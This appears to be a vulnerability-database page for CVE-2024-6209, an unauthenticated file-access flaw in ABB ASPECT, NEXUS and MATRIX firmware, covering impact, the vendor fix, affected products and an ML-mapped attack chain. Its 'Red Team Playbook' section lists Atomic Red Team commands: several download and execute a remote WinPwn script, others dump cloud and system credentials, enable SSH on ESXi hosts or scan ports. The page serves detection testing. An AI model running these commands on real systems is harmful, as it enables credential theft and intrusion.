CVE-2024-6209

HIGH EXPLOIT Pub 05/07 Upd 05/12

Overview

This vulnerability is an unauthorized file access flaw caused by improper access control in the WEB Server component of ABB ASPECT-Enterprise versions 3.08.01 for NEXUS and MATRIX Series devices. The root cause lies in the failure to enforce authorization checks on file retrieval requests, allowing unauthenticated remote attackers to access sensitive files. The affected component is the WEB Server interface handling file access operations.

Vulnerability Description

Unauthorized file access in WEB Server in ABB ASPECT - Enterprise v3.08.01; NEXUS Series v3.08.01 ; MATRIX Series v3.08.01 allows Attacker to access files unauthorized

Impact

An unauthenticated remote attacker can exploit this vulnerability to access sensitive files on the device without any privileges, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This unauthorized file access can lead to disclosure of configuration data, credentials, or other sensitive information critical to operational technology environments. The attacker requires only network access to the device's WEB Server, enabling potential reconnaissance or further exploitation within industrial control systems.

Solution

ABB recommends upgrading ABB ASPECT-Enterprise firmware to versions later than 3.08.01 as detailed in their security advisory (Document ID 9AKK108469A7497). The advisory provides instructions for applying patches that enforce proper authorization checks in the WEB Server component. Users should refer to the official ABB download portal for the latest firmware updates and follow vendor guidelines to mitigate the vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in the WEB Server of ABB ASPECT and NEXUS Series firmware versions 3.08.01 allows unauthorized file access, which poses a significant threat to the integrity and confidentiality of sensitive data. This flaw arises from improper access controls that fail to restrict user permissions adequately, enabling attackers to bypass authentication mechanisms and gain access to files that should be protected. The underlying issue is often rooted in misconfigured server settings or inadequate validation of user input, which can lead to unauthorized file retrieval or manipulation.

Attack vectors exploiting this vulnerability can vary, but they typically involve an attacker leveraging network access to the affected devices. By sending crafted requests to the WEB Server, an attacker can exploit the lack of proper authorization checks to retrieve sensitive files, including configuration files, logs, or even user credentials. Scenarios may include an external attacker scanning for exposed devices on the internet or an insider threat where a malicious actor within the organization exploits their access to gain further privileges. The ease of exploitation, combined with the potential for significant data exposure, underscores the critical nature of this vulnerability.

The real-world impact of unauthorized file access can be severe, particularly for organizations relying on ABB's automation and control systems. Compromised data can lead to operational disruptions, loss of intellectual property, and reputational damage. For instance, an attacker gaining access to configuration files could manipulate system settings, leading to production downtime or safety incidents in industrial environments. Furthermore, the exposure of sensitive information could result in regulatory penalties and loss of customer trust, translating into substantial financial losses for affected businesses.

Detection and mitigation strategies for this vulnerability should focus on both proactive and reactive measures. Organizations should implement robust access control mechanisms to ensure that only authorized users can access sensitive files. Regular audits of server configurations and user permissions can help identify and rectify misconfigurations. Additionally, employing intrusion detection systems (IDS) can assist in monitoring for suspicious activity indicative of exploitation attempts. Patching the affected firmware versions promptly is crucial, as updates often address known vulnerabilities and enhance overall security posture. Furthermore, educating employees about security best practices can reduce the risk of insider threats and improve the organization's resilience against external attacks.

In conclusion, the unauthorized file access vulnerability in ABB ASPECT and NEXUS Series firmware versions represents a critical security risk that organizations must address urgently. The potential for exploitation underscores the need for stringent access controls, regular security assessments, and timely updates to firmware. By adopting a comprehensive approach to cybersecurity that includes both technical measures and user education, organizations can significantly mitigate the risks associated with this vulnerability and protect their operational integrity and sensitive data.

Affected Products (19)

Vendor Product Version CPE
abb Abb Aspect-Ent-12 Firmware All cpe:2.3:o:abb:aspect-ent-12_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-2 Firmware All cpe:2.3:o:abb:aspect-ent-2_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-256 Firmware All cpe:2.3:o:abb:aspect-ent-256_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-96 Firmware All cpe:2.3:o:abb:aspect-ent-96_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128 Firmware All cpe:2.3:o:abb:nexus-2128_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-A Firmware All cpe:2.3:o:abb:nexus-2128-a_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-F Firmware All cpe:2.3:o:abb:nexus-2128-f_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-G Firmware All cpe:2.3:o:abb:nexus-2128-g_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264 Firmware All cpe:2.3:o:abb:nexus-264_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-A Firmware All cpe:2.3:o:abb:nexus-264-a_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-F Firmware All cpe:2.3:o:abb:nexus-264-f_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-G Firmware All cpe:2.3:o:abb:nexus-264-g_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-3-2128 Firmware All cpe:2.3:o:abb:nexus-3-2128_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-3-264 Firmware All cpe:2.3:o:abb:nexus-3-264_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-11 Firmware All cpe:2.3:o:abb:matrix-11_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-216 Firmware All cpe:2.3:o:abb:matrix-216_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-232 Firmware All cpe:2.3:o:abb:matrix-232_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-264 Firmware All cpe:2.3:o:abb:matrix-264_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-296 Firmware All cpe:2.3:o:abb:matrix-296_firmware:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

ExploitDB (1)

Title Author Type Platform Date Link
ABB Cylon Aspect 3.08.01 - Arbitrary File Delete LiquidWorm webapps php - View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
Exploit Published (1 ExploitDB, 0 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
85% path_traversal
Information Disclosure
52% info_disclosure
Authentication Bypass
50% auth_bypass
Authorization Bypass
50% authz_bypass
File Upload Vulnerabilities
49% file_upload

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-150 Collect Data from Common Resource Locations
32%
Medium
CAPEC-639 Probe System Files
30%
Medium

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-6209
search.abb.com
GitHub CVE
https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch
search.abb.com
NVD API Vendor Advisory
https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch&_ga=2.39956449.23035250.1719878527-141379670.1701144964